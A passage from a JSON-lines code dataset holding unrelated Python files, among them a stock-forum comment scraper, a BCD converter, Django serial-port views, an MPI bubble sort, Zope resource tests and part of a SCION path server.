11:51\n# @Author : ArchKS\n# @File : requestdf20.py\n# @Software: PyCharm\n\nimport re\nimport requests\nimport os\nimport time\nfrom selenium import webdriver\nimport platform\nfrom threading import Thread\nimport shutil\n\n\nclass Win():\n def __init__(self):\n pass\n\n # 抓取评论的html页和评论页数\n def get_general_page_html(self, url):\n '''\n option = webdriver.ChromeOptions()\n option.add_argument('--headless')\n driver = webdriver.Chrome(options=option)\n driver.get(url)\n '''\n html = requests.get(url).text\n return html\n\n # 评论页数\n def get_num(self, url):\n option = webdriver.ChromeOptions()\n option.add_argument('--headless')\n driver = webdriver.Chrome(options=option)\n driver.get(url)\n html = driver.page_source\n driver.quit()\n page = re.findall('sumpage.*?>(\\d+)', html, re.S)\n try:\n num = int(page[0])\n except:\n print(\"num = int(page[0]) error 34 lines\")\n return num\n\n # 得到评论列表的url\n def get_shrot_url_toConstruct(self, html):\n pattern = re.compile('articleh.*?l3 a3.*?href=\"/(.*?)\" title', re.S)\n url_list = re.findall(pattern, html)\n return url_list\n\n # 写入到txt文件\n def writen_to_file(sefl, comment, path, filename):\n totName = os.path.join(path, filename)\n with open(totName + '.txt', 'w+') as f:\n f.write(comment.strip())\n print(totName, '.txt : 写入完成!')\n\n def get_comment(self, shorturl, base_url_list):\n url_list = []\n comm_list = []\n for one in base_url_list:\n url = shorturl + one\n url_list.append(url)\n for url in url_list:\n html = requests.get(url).text\n pattern = re.compile('short_text\">(.*?)<', re.S)\n results = re.findall(pattern, html)\n for one in results:\n one = one.strip()\n comm_list.append(one)\n return comm_list\n\n # 单个爬取一次评论\n def per_run(self, location, path, filename):\n url = 'http://guba.eastmoney.com/list,{location}{filename}.html'.format(location=location, filename=filename)\n html = self.get_general_page_html(url)\n print(\"Get the html of each page:\", url)\n base_url_list = self.get_shrot_url_toConstruct(html)\n comment = self.get_comment(shorturl='http://guba.eastmoney.com/', base_url_list=base_url_list)\n strcom = '\\n'.join(comment)\n self.writen_to_file(comment=strcom, path=path, filename=filename)\n\n # 爬取所有评论\n def Run(self):\n start = time.time()\n print('----------info------------')\n shareDict = {}\n '''\n hk:\n \t00700 腾讯 \n \t02331 李宁 \n \t01810 小米\n \t03690 美团点评\n us:\n \tBIDU 百度\n \tbaba 阿里\n \tNKE 耐克\n \tgoogl 谷歌\n '''\n\n shareDict['hk'] = ['00700']\n shareDict['us'] = ['BIDU', 'baba']\n\n print('即将爬取 :')\n for i in shareDict.items():\n print(i)\n for location in shareDict.keys():\n startOne = time.time()\n print('stock exchange: ', location)\n for name in shareDict[location]:\n if os.path.exists(name):\n print(\"文件夹:\", name, ' 已经存在')\n else:\n print('创建文件夹:', name)\n os.mkdir(name)\n print('股票 :', name)\n pageNum = self.get_num(url='http://guba.eastmoney.com/list,' + str(location + name) + '.html')\n\n print('所有评论页数:', pageNum, ' 页')\n tnum1 = int(pageNum / 20)\n tnum2 = int(pageNum * 2 / 20)\n tnum3 = int(pageNum * 3 / 20)\n tnum4 = int(pageNum * 4 / 20)\n tnum5 = int(pageNum * 5 / 20)\n tnum6 = int(pageNum * 6 / 20)\n tnum7 = int(pageNum * 7 / 20)\n tnum8 = int(pageNum * 8 / 20)\n tnum9 = int(pageNum * 9 / 20)\n tnum10 = int(pageNum * 10 / 20)\n tnum11 = int(pageNum * 11 / 20)\n tnum12 = int(pageNum * 12 / 20)\n tnum13 = int(pageNum * 13 / 20)\n tnum14 = int(pageNum * 14 / 20)\n tnum15 = int(pageNum * 15 / 20)\n tnum16 = int(pageNum * 16 / 20)\n tnum17 = int(pageNum * 17 / 20)\n tnum18 = int(pageNum * 18 / 20)\n tnum19 = int(pageNum * 19 / 20)\n tnum20 = int(pageNum * 20 / 20)\n\n def threRun1():\n for i in range(1, tnum1):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun2():\n for i in range(tnum1, tnum2):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun3():\n for i in range(tnum2, tnum3):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun4():\n for i in range(tnum3, tnum4):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun5():\n for i in range(tnum4, tnum5):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun6():\n for i in range(tnum5, tnum6):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun7():\n for i in range(tnum6, tnum7):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun8():\n for i in range(tnum7, tnum8):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun9():\n for i in range(tnum8, tnum9):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun10():\n for i in range(tnum9, tnum10):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun11():\n for i in range(tnum10, tnum11):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun12():\n for i in range(tnum11, tnum12):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun13():\n for i in range(tnum12, tnum13):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun14():\n for i in range(tnum13, tnum14):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun15():\n for i in range(tnum14, tnum15):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun16():\n for i in range(tnum15, tnum16):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun17():\n for i in range(tnum16, tnum17):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun18():\n for i in range(tnum17, tnum18):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun19():\n for i in range(tnum18, tnum19):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n def threRun20():\n for i in range(tnum19, tnum20):\n synx = name + '_' + str(i)\n self.per_run(location=location, path=name, filename=synx)\n\n t1 = Thread(target=threRun1)\n t1.start()\n\n t2 = Thread(target=threRun2)\n t2.start()\n\n t3 = Thread(target=threRun3)\n t3.start()\n\n t4 = Thread(target=threRun4)\n t4.start()\n\n t5 = Thread(target=threRun5)\n t5.start()\n\n t6 = Thread(target=threRun6)\n t6.start()\n\n t7 = Thread(target=threRun7)\n t7.start()\n\n t8 = Thread(target=threRun8)\n t8.start()\n\n t9 = Thread(target=threRun9)\n t9.start()\n\n t10 = Thread(target=threRun10)\n t10.start()\n\n t11 = Thread(target=threRun11)\n t11.start()\n\n t12 = Thread(target=threRun12)\n t12.start()\n\n t13 = Thread(target=threRun13)\n t13.start()\n\n t14 = Thread(target=threRun14)\n t14.start()\n\n t15 = Thread(target=threRun15)\n t15.start()\n\n t16 = Thread(target=threRun16)\n t16.start()\n\n t17 = Thread(target=threRun17)\n t17.start()\n\n t18 = Thread(target=threRun18)\n t18.start()\n\n t19 = Thread(target=threRun19)\n t19.start()\n\n t20 = Thread(target=threRun20)\n t20.start()\n\n t1.join()\n t2.join()\n t3.join()\n t4.join()\n t5.join()\n t6.join()\n t7.join()\n t8.join()\n t9.join()\n t10.join()\n t11.join()\n t12.join()\n t13.join()\n t14.join()\n t15.join()\n t16.join()\n t17.join()\n t18.join()\n t19.join()\n t20.join()\n\n print('总共用时:', time.time() - start, 's')\n\n\nclass Linux(Win):\n def __init__(self, path):\n self.path = path\n\n # 抓取评论的html页\n def get_general_page_html(self, url):\n html = requests.get(url).text\n return html\n\n # 评论页数\n def get_num(self, url):\n option = webdriver.ChromeOptions()\n option.add_argument('--no-sandbox')\n option.add_argument('--headless')\n driver = webdriver.Chrome(executable_path=self.path, options=option)\n driver.get(url)\n html = driver.page_source\n driver.quit()\n page = re.findall('sumpage.*?>(\\d+)', html, re.S)\n try:\n num = int(page[0])\n except:\n print(\"num = int(page[0]) error 153 lines\")\n return num\n\n\nif __name__ == '__main__':\n platf = platform.platform()\n if 'Windows' in platf:\n crawl = Win()\n crawl.Run()\n\n ShareFile = \"ShareFile\"\n\n if os.path.exists(\"ShareFile\"):\n None\n else:\n os.mkdir(\"ShareFile\")\n\n listDirName = ['00700', 'baba', 'BIDU']\n for dirname in listDirName:\n stringCat = ''\n # 将文件夹中的内容汇聚成一个文本文件\n for i in os.listdir(dirname):\n path = os.path.join(dirname, i)\n with open(path, 'r') as f:\n tmp = f.read()\n if tmp != None and tmp != '' and tmp != '\\n+':\n stringCat += tmp\n NowDate = time.strftime(\"%m-%d\", time.localtime())\n\n # 给文本文件命名\n textName = dirname + '_' + NowDate\n txtPath = os.path.join(ShareFile, textName)\n with open(txtPath, 'w+') as f:\n f.write(stringCat)\n\n # 删除文件夹\n shutil.rmtree(dirname)\n\n elif 'Linux' in platf:\n path = ''\n if len(path) == 0:\n path = '/root/share/chromedriver'\n else:\n path = path.strip()\n existfile = os.popen('ls').read().strip()\n\n crawl = Linux(path=path)\n crawl.Run()\n\n else:\n print(platf, 'is not support')\n","sub_path":"getShareComment/getShareComment.py","file_name":"getShareComment.py","file_ext":"py","file_size_in_byte":13361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"616003239","text":"# Universidade Federal de Campina Grande - UFCG\n# Programação - 1\n# Guilherme Aureliano\n\nwhile True:\n bcd = input()\n if bcd == 'fim':\n break\n if len(bcd) == 8:\n tabela = ['0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111', '1000', '1001']\n cont = 0\n primeiro = ''\n segundo = ''\n for i in range(len(tabela)):\n if tabela[i] == bcd[0] + bcd[1] + bcd[2] + bcd[3]: # Os 4 primeiros digitos\n primeiro = str(i)\n cont += 1\n if tabela[i] == bcd[4] + bcd[5] + bcd[6] + bcd[7]: # Os 4 últimos digitos\n segundo = str(i)\n cont += 1\n if cont >= 2:\n print(primeiro+segundo) # número obtido\n\n else:\n print(\"BCD inválido.\")\n else:\n print(\"Tente novamente.\")\n\n","sub_path":"unidade5/BCD.py","file_name":"BCD.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"653191415","text":"import maincore as core\n\nhelp_info = {\"use\": \"Pong!\",\n \"param\": \"{}ping\",\n \"perms\": None,\n \"list\": \"Pong!\"}\nalias_list = ['ping', 'pong']\n\ndef run(message, prefix, alias_name):\n del prefix\n latency = round(core.cl.latency * 1000)\n pong = \"Pong!\" if alias_name == \"ping\" else \"Ping!\"\n core.send(message.channel, \"🏓 {} {} ms latency\".format(pong, latency))\n","sub_path":"commands/ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"177450745","text":"# -*- coding: utf-8 -*-\n\"\"\"\n urls\n ~~~~~~~~\n\n Mailer Constants\n\n\"\"\"\n\nSENDER = \"info@lumenkave.hu\"\nREPLY_TO = \"norepy@lumenkave.hu\"\nSUBJECT_ORDER = \"Hi, thanks for ordering\"\nSUBJECT_REGISTRATION = \"Hi, thanks for registering\"\n\n__all__ = [\"SENDER\", \"REPLY_TO\", \"SUBJECT_ORDER\", \"SUBJECT_REGISTRATION\"]","sub_path":"apps/mail/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"28085377","text":"from django.shortcuts import render\nimport os\nfrom django.http import JsonResponse\nimport _thread as thread\n#from subprocess import run\n\n\n#from .models import Question\n\n\n\ndef index(request):\n\n thread.start_new_thread(plotters, ())\n #plotters()\n print(\"yes\")\n\n context = {'1': 1}\n return render(request, 'bio/index.html', context)\n\n\ndef plotters():\n cmd = 'python luz3.py'\n os.system(cmd)\n\n\nimport serial\nser = serial.Serial('/dev/ttyUSB0', 9600)\n\ntemp_ant = 0\ndef get_seriales(request):\n global temp_ant \n try:\n temp = ser.readline()\n try:\n \n temp = int(temp)\n \n except ValueError as Ve:\n temp = 'none'\n \n except AttributeError as Ae:\n temp = 'none'\n\n except TypeError as Te:\n temp = 'none'\n\n except Exception as e:\n temp = 'none'\n\n change = True \n if (temp == 'none'):\n temp = temp_ant\n change = False\n \n if (temp_ant != temp):\n temp_ant = temp\n\n data = {\n 'serial': temp,\n 'serial_1': temp,\n 'serial_2': temp,\n 'serial_3': temp,\n 'change': change\n }\n\n return JsonResponse(data)\n\ndef index_2(request):\n context = {'1': 1}\n return render(request, 'bio/index_2.html', context) ","sub_path":"biofeedback/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"330817313","text":"from mpi4py import MPI\nimport random, sys\nimport numpy as np\nimport heapq\n\ndataset_size = int(sys.argv[1])\ndata = []\nfor _ in range(dataset_size):\n data.append(random.randint(1, dataset_size))\n\nstart = MPI.Wtime()\ncomm = MPI.COMM_WORLD\nthread_num = comm.size\n\nnew_list = []\nfor rank in range(thread_num):\n new_list = np.array_split(data, thread_num)\n\nv = comm.scatter(new_list, 0)\nfor i in range(len(v)):\n for j in range(len(v) - i - 1):\n if v[j] > v[j + 1]:\n v[j], v[j + 1] = v[j + 1], v[j]\ng = comm.gather(v, 0)\n\ndata_sorted = []\nif comm.rank == 0:\n for i in range(len(g)):\n data_sorted = list(heapq.merge(data_sorted, g[i]))\n end = MPI.Wtime()\n print(\"Size of data: \", dataset_size)\n print(\"Number of threads: \", thread_num)\n print(\"Time: \", end - start)\n print(\"\\n\")","sub_path":"hw4_mpi/bubble_mpi.py","file_name":"bubble_mpi.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"307292136","text":"#!/usr/bin/python\n\nimport sys\nimport random\n\nclass initializationVector():\n def __self__(init):\n self.x = 0;\n self.y = 0;\n \n def InitializationVector(self, chunk_size):\n self.count = 0\n self.diff = 0\n \n count = 0\n diff = 0\n \n #create two random numbers with an integer range between 0 and UPPER_BIT\n iv_a = random.randint(0,pow(2,chunk_size/2)-1)\n iv_b = random.randint(0,pow(2,chunk_size/2)-1)\n \n #append the two random numbers to create a whole CHUNK_SIZE bit initialization vector (iv)\n iv = (iv_a << chunk_size/2) + iv_b\n iv = bin(iv)[2:] #remove the prefix '0b' from the binary representation\n iv = iv.zfill(chunk_size)\n #diff = chunk_size - len(iv)\n while (count < (chunk_size - len(iv))):\n iv = '0' + iv\n count += 1\n \n return iv","sub_path":"Cipher Modes/initializationVector.py","file_name":"initializationVector.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"145656374","text":"import numpy as np\n\nfrom PySide2.QtCore import QObject, QSignalBlocker, Signal\nfrom PySide2.QtWidgets import QSizePolicy, QTableWidgetItem\n\nfrom hexrd.material import Material\n\nfrom hexrd.ui.periodic_table_dialog import PeriodicTableDialog\nfrom hexrd.ui.scientificspinbox import ScientificDoubleSpinBox\nfrom hexrd.ui.ui_loader import UiLoader\n\n\nCOLUMNS = {\n 'symbol': 0,\n 'occupancy': 1,\n 'thermal_factor': 2\n}\n\nDEFAULT_U = Material.DFLT_U[0]\n\nOCCUPATION_MIN = 0\nOCCUPATION_MAX = 1000\n\nTHERMAL_FACTOR_MIN = -1.e7\nTHERMAL_FACTOR_MAX = 1.e7\n\nU_TO_B = 8 * np.pi ** 2\nB_TO_U = 1 / U_TO_B\n\n\nclass MaterialSiteEditor(QObject):\n\n site_modified = Signal()\n\n def __init__(self, site, parent=None):\n super().__init__(parent)\n\n loader = UiLoader()\n self.ui = loader.load_file('material_site_editor.ui', parent)\n\n self._site = site\n\n self.occupancy_spinboxes = []\n self.thermal_factor_spinboxes = []\n\n self.update_gui()\n\n self.setup_connections()\n\n def setup_connections(self):\n self.ui.select_atom_types.pressed.connect(self.select_atom_types)\n self.ui.thermal_factor_type.currentIndexChanged.connect(\n self.update_thermal_factor_header)\n self.ui.thermal_factor_type.currentIndexChanged.connect(\n self.update_gui)\n for w in self.site_settings_widgets:\n w.valueChanged.connect(self.update_config)\n self.ui.total_occupancy.valueChanged.connect(\n self.update_occupancy_validity)\n\n def select_atom_types(self):\n dialog = PeriodicTableDialog(self.atom_types, self.ui)\n if not dialog.exec_():\n return\n\n self.atom_types = dialog.selected_atoms\n\n @property\n def site(self):\n return self._site\n\n @site.setter\n def site(self, v):\n self._site = v\n self.update_gui()\n\n @property\n def atoms(self):\n return self.site['atoms']\n\n @property\n def total_occupancy(self):\n return self.site['total_occupancy']\n\n @total_occupancy.setter\n def total_occupancy(self, v):\n self.site['total_occupancy'] = v\n\n @property\n def fractional_coords(self):\n return self.site['fractional_coords']\n\n @property\n def thermal_factor_type(self):\n return self.ui.thermal_factor_type.currentText()\n\n def U(self, val):\n # Take a thermal factor from a spin box and convert it to U\n type = self.thermal_factor_type\n if type == 'U':\n multiplier = 1\n elif type == 'B':\n multiplier = B_TO_U\n else:\n raise Exception(f'Unknown type: {type}')\n\n return val * multiplier\n\n def B(self, val):\n # Take a thermal factor from a spin box and convert it to B\n type = self.thermal_factor_type\n if type == 'U':\n multiplier = U_TO_B\n elif type == 'B':\n multiplier = 1\n else:\n raise Exception(f'Unknown type: {type}')\n\n return val * multiplier\n\n def thermal_factor(self, atom):\n # Given an atom, return the thermal factor in either B or U\n type = self.thermal_factor_type\n if type == 'U':\n multiplier = 1\n elif type == 'B':\n multiplier = U_TO_B\n else:\n raise Exception(f'Unknown type: {type}')\n\n return atom['U'] * multiplier\n\n @property\n def atom_types(self):\n return [x['symbol'] for x in self.site['atoms']]\n\n @atom_types.setter\n def atom_types(self, v):\n if v == self.atom_types:\n # No changes needed...\n return\n\n # Reset all the occupancies\n atoms = self.atoms\n atoms.clear()\n atoms += [{'symbol': x, 'U': DEFAULT_U} for x in v]\n self.reset_occupancies()\n\n self.update_table()\n self.emit_site_modified_if_valid()\n\n def create_symbol_label(self, v):\n w = QTableWidgetItem(v)\n return w\n\n def create_occupancy_spinbox(self, v):\n sb = ScientificDoubleSpinBox(self.ui.table)\n sb.setKeyboardTracking(False)\n sb.setMinimum(OCCUPATION_MIN)\n sb.setMaximum(OCCUPATION_MAX)\n sb.setValue(v)\n sb.valueChanged.connect(self.update_config)\n\n size_policy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n sb.setSizePolicy(size_policy)\n\n self.occupancy_spinboxes.append(sb)\n return sb\n\n def create_thermal_factor_spinbox(self, v):\n sb = ScientificDoubleSpinBox(self.ui.table)\n sb.setKeyboardTracking(False)\n sb.setMinimum(THERMAL_FACTOR_MIN)\n sb.setMaximum(THERMAL_FACTOR_MAX)\n sb.setValue(v)\n sb.valueChanged.connect(self.update_config)\n\n size_policy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n sb.setSizePolicy(size_policy)\n\n self.thermal_factor_spinboxes.append(sb)\n return sb\n\n def clear_table(self):\n self.occupancy_spinboxes.clear()\n self.thermal_factor_spinboxes.clear()\n self.ui.table.clearContents()\n\n def update_gui(self):\n widgets = self.site_settings_widgets\n blockers = [QSignalBlocker(w) for w in widgets] # noqa: F841\n\n self.ui.total_occupancy.setValue(self.total_occupancy)\n for i, w in enumerate(self.fractional_coords_widgets):\n w.setValue(self.fractional_coords[i])\n\n self.update_table()\n\n def update_table(self):\n blocker = QSignalBlocker(self.ui.table) # noqa: F841\n\n atoms = self.site['atoms']\n self.clear_table()\n self.ui.table.setRowCount(len(atoms))\n for i, atom in enumerate(atoms):\n w = self.create_symbol_label(atom['symbol'])\n self.ui.table.setItem(i, COLUMNS['symbol'], w)\n\n w = self.create_occupancy_spinbox(atom['occupancy'])\n self.ui.table.setCellWidget(i, COLUMNS['occupancy'], w)\n\n w = self.create_thermal_factor_spinbox(self.thermal_factor(atom))\n self.ui.table.setCellWidget(i, COLUMNS['thermal_factor'], w)\n\n self.update_occupancy_validity()\n\n def update_thermal_factor_header(self):\n w = self.ui.table.horizontalHeaderItem(COLUMNS['thermal_factor'])\n w.setText(self.thermal_factor_type)\n\n def update_config(self):\n self.total_occupancy = self.ui.total_occupancy.value()\n for i, w in enumerate(self.fractional_coords_widgets):\n self.fractional_coords[i] = w.value()\n\n for atom, spinbox in zip(self.atoms, self.occupancy_spinboxes):\n atom['occupancy'] = spinbox.value()\n\n for atom, spinbox in zip(self.atoms, self.thermal_factor_spinboxes):\n atom['U'] = self.U(spinbox.value())\n\n self.update_occupancy_validity()\n\n self.emit_site_modified_if_valid()\n\n def reset_occupancies(self):\n total = self.total_occupancy\n atoms = self.atoms\n num_atoms = len(atoms)\n for atom in atoms:\n atom['occupancy'] = total / num_atoms\n\n self.update_occupancy_validity()\n\n @property\n def site_valid(self):\n return self.occupancies_valid\n\n @property\n def occupancies_valid(self):\n total_occupancy = sum(x['occupancy'] for x in self.atoms)\n tol = 1.e-6\n return abs(total_occupancy - self.site['total_occupancy']) < tol\n\n def update_occupancy_validity(self):\n valid = self.occupancies_valid\n color = 'white' if valid else 'red'\n msg = '' if valid else 'Sum of occupancies must equal total occupancy'\n\n for w in self.occupancy_spinboxes + [self.ui.total_occupancy]:\n w.setStyleSheet(f'background-color: {color}')\n w.setToolTip(msg)\n\n def emit_site_modified_if_valid(self):\n if not self.site_valid:\n return\n\n self.site_modified.emit()\n\n @property\n def fractional_coords_widgets(self):\n return [\n self.ui.coords_x,\n self.ui.coords_y,\n self.ui.coords_z\n ]\n\n @property\n def site_settings_widgets(self):\n return [\n self.ui.total_occupancy\n ] + self.fractional_coords_widgets\n","sub_path":"hexrd/ui/material_site_editor.py","file_name":"material_site_editor.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"555736851","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"File-based browser resource tests.\n\n$Id$\n\"\"\"\nimport os\nfrom unittest import TestCase, main, makeSuite\n\nfrom zope.publisher.interfaces import NotFound\nfrom zope.i18n.interfaces import IUserPreferredCharsets\nfrom zope.security.proxy import removeSecurityProxy\nfrom zope.security.checker import NamesChecker\n\nfrom zope.app.testing.placelesssetup import PlacelessSetup\nfrom zope.app.testing import ztapi\n\nfrom zope.publisher.http import IHTTPRequest\nfrom zope.publisher.http import HTTPCharsets\nfrom zope.publisher.browser import TestRequest\n\nfrom zope.app.publisher.browser.fileresource import FileResourceFactory\nfrom zope.app.publisher.browser.fileresource import ImageResourceFactory\nimport zope.app.publisher.browser.tests as p\n\nchecker = NamesChecker(\n ('__call__', 'HEAD', 'request', 'publishTraverse', 'GET')\n )\n\ntest_directory = os.path.dirname(p.__file__)\n\nclass Test(PlacelessSetup, TestCase):\n\n def setUp(self):\n super(Test, self).setUp()\n ztapi.provideAdapter(IHTTPRequest, IUserPreferredCharsets,\n HTTPCharsets)\n\n def testNoTraversal(self):\n\n path = os.path.join(test_directory, 'testfiles', 'test.txt')\n factory = FileResourceFactory(path, checker, 'test.txt')\n resource = factory(TestRequest())\n self.assertRaises(NotFound,\n resource.publishTraverse,\n resource.request,\n '_testData')\n\n def testFileGET(self):\n\n path = os.path.join(test_directory, 'testfiles', 'test.txt')\n\n factory = FileResourceFactory(path, checker, 'test.txt')\n resource = factory(TestRequest())\n self.assertEqual(resource.GET(), open(path, 'rb').read())\n\n response = removeSecurityProxy(resource.request).response\n self.assertEqual(response.getHeader('Content-Type'), 'text/plain')\n\n def testFileHEAD(self):\n\n path = os.path.join(test_directory, 'testfiles', 'test.txt')\n factory = FileResourceFactory(path, checker, 'test.txt')\n resource = factory(TestRequest())\n\n self.assertEqual(resource.HEAD(), '')\n\n response = removeSecurityProxy(resource.request).response\n self.assertEqual(response.getHeader('Content-Type'), 'text/plain')\n\n def testImageGET(self):\n\n path = os.path.join(test_directory, 'testfiles', 'test.gif')\n\n factory = ImageResourceFactory(path, checker, 'test.gif')\n resource = factory(TestRequest())\n\n self.assertEqual(resource.GET(), open(path, 'rb').read())\n\n response = removeSecurityProxy(resource.request).response\n self.assertEqual(response.getHeader('Content-Type'), 'image/gif')\n\n def testImageHEAD(self):\n\n path = os.path.join(test_directory, 'testfiles', 'test.gif')\n factory = ImageResourceFactory(path, checker, 'test.gif')\n resource = factory(TestRequest())\n\n self.assertEqual(resource.HEAD(), '')\n\n response = removeSecurityProxy(resource.request).response\n self.assertEqual(response.getHeader('Content-Type'), 'image/gif')\n\n\n\ndef test_suite():\n return makeSuite(Test)\n\nif __name__=='__main__':\n main(defaultTest='test_suite')\n","sub_path":"zope.app.publisher/branches/3.8/src/zope/app/publisher/browser/tests/test_fileresource.py","file_name":"test_fileresource.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"609137398","text":"# Copyright 2014 ETH Zurich\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n:mod:`core` --- Core path server\n================================\n\"\"\"\n# Stdlib\nimport logging\n\n# External\nfrom external.expiring_dict import ExpiringDict\n\n# External packages\nfrom prometheus_client import Gauge\n\n# SCION\nfrom lib.defines import PATH_FLAG_CACHEONLY, PATH_FLAG_SIBRA\nfrom lib.packet.ctrl_pld import CtrlPayload\nfrom lib.packet.path_mgmt.base import PathMgmt\nfrom lib.packet.path_mgmt.seg_recs import PathRecordsSync\nfrom lib.packet.path_mgmt.seg_req import PathSegmentReply, PathSegmentReq\nfrom lib.packet.svc import SVCType\nfrom lib.types import PathSegmentType as PST\nfrom lib.util import random_uint64\nfrom lib.zk.errors import ZkNoConnection\nfrom path_server.base import PathServer, REQS_TOTAL\n\n\n# Exported metrics.\nSEGS_TO_MASTER = Gauge(\"ps_segs_to_master_total\", \"# of path segments to master\",\n [\"server_id\", \"isd_as\"])\nSEGS_TO_PROP = Gauge(\"ps_segs_to_prop_total\", \"# of segments to propagate\",\n [\"server_id\", \"isd_as\"])\n\n\nclass CorePathServer(PathServer):\n \"\"\"\n SCION Path Server in a core AS. Stores intra ISD down-segments as well as\n core segments and forwards inter-ISD path requests to the corresponding path\n server.\n \"\"\"\n\n def __init__(self, server_id, conf_dir, prom_export=None):\n \"\"\"\n :param str server_id: server identifier.\n :param str conf_dir: configuration directory.\n :param str prom_export: prometheus export address.\n \"\"\"\n super().__init__(server_id, conf_dir, prom_export=prom_export)\n # Sanity check that we should indeed be a core path server.\n assert self.topology.is_core_as, \"This shouldn't be a local PS!\"\n self._master_id = None # Address of master core Path Server.\n self._segs_to_master = ExpiringDict(1000, 10)\n self._segs_to_prop = ExpiringDict(1000, 2 * self.config.propagation_time)\n\n def _update_master(self):\n \"\"\"\n Read master's address from shared lock, and if new master is elected\n sync it with segments.\n \"\"\"\n if self.zk.have_lock():\n self._segs_to_master.clear()\n self._master_id = None\n return\n try:\n curr_master = self.zk.get_lock_holder()\n except ZkNoConnection:\n logging.warning(\"_update_master(): ZkNoConnection.\")\n return\n if curr_master and curr_master == self._master_id:\n return\n self._master_id = curr_master\n if not curr_master:\n logging.warning(\"_update_master(): current master is None.\")\n return\n logging.debug(\"New master is: %s\", self._master_id)\n self._sync_master()\n\n def _sync_master(self):\n \"\"\"\n Feed newly-elected master with segments.\n \"\"\"\n assert not self.zk.have_lock()\n assert self._master_id\n # TODO(PSz): consider mechanism for avoiding a registration storm.\n core_segs = []\n # Find all core segments from remote ISDs\n for pcb in self.core_segments(full=True):\n if pcb.first_ia()[0] != self.addr.isd_as[0]:\n core_segs.append(pcb)\n # Find down-segments from local ISD.\n down_segs = self.down_segments(full=True, last_isd=self.addr.isd_as[0])\n logging.debug(\"Syncing with master: %s\", self._master_id)\n seen_ases = set()\n for seg_type, segs in [(PST.CORE, core_segs), (PST.DOWN, down_segs)]:\n for pcb in segs:\n key = pcb.first_ia(), pcb.last_ia()\n # Send only one SCION segment for given (src, dst) pair.\n if not pcb.is_sibra() and key in seen_ases:\n continue\n seen_ases.add(key)\n self._segs_to_master[pcb.get_hops_hash()] = (seg_type, pcb)\n\n def _handle_up_segment_record(self, pcb, **kwargs):\n logging.error(\"Core Path Server received up-segment record!\")\n return set()\n\n def _handle_down_segment_record(self, pcb, from_master=False,\n from_zk=False):\n added = self._add_segment(pcb, self.down_segments, \"Down\")\n first_ia = pcb.first_ia()\n last_ia = pcb.last_ia()\n if first_ia == self.addr.isd_as:\n # Segment is to us, so propagate to all other core ASes within the\n # local ISD.\n 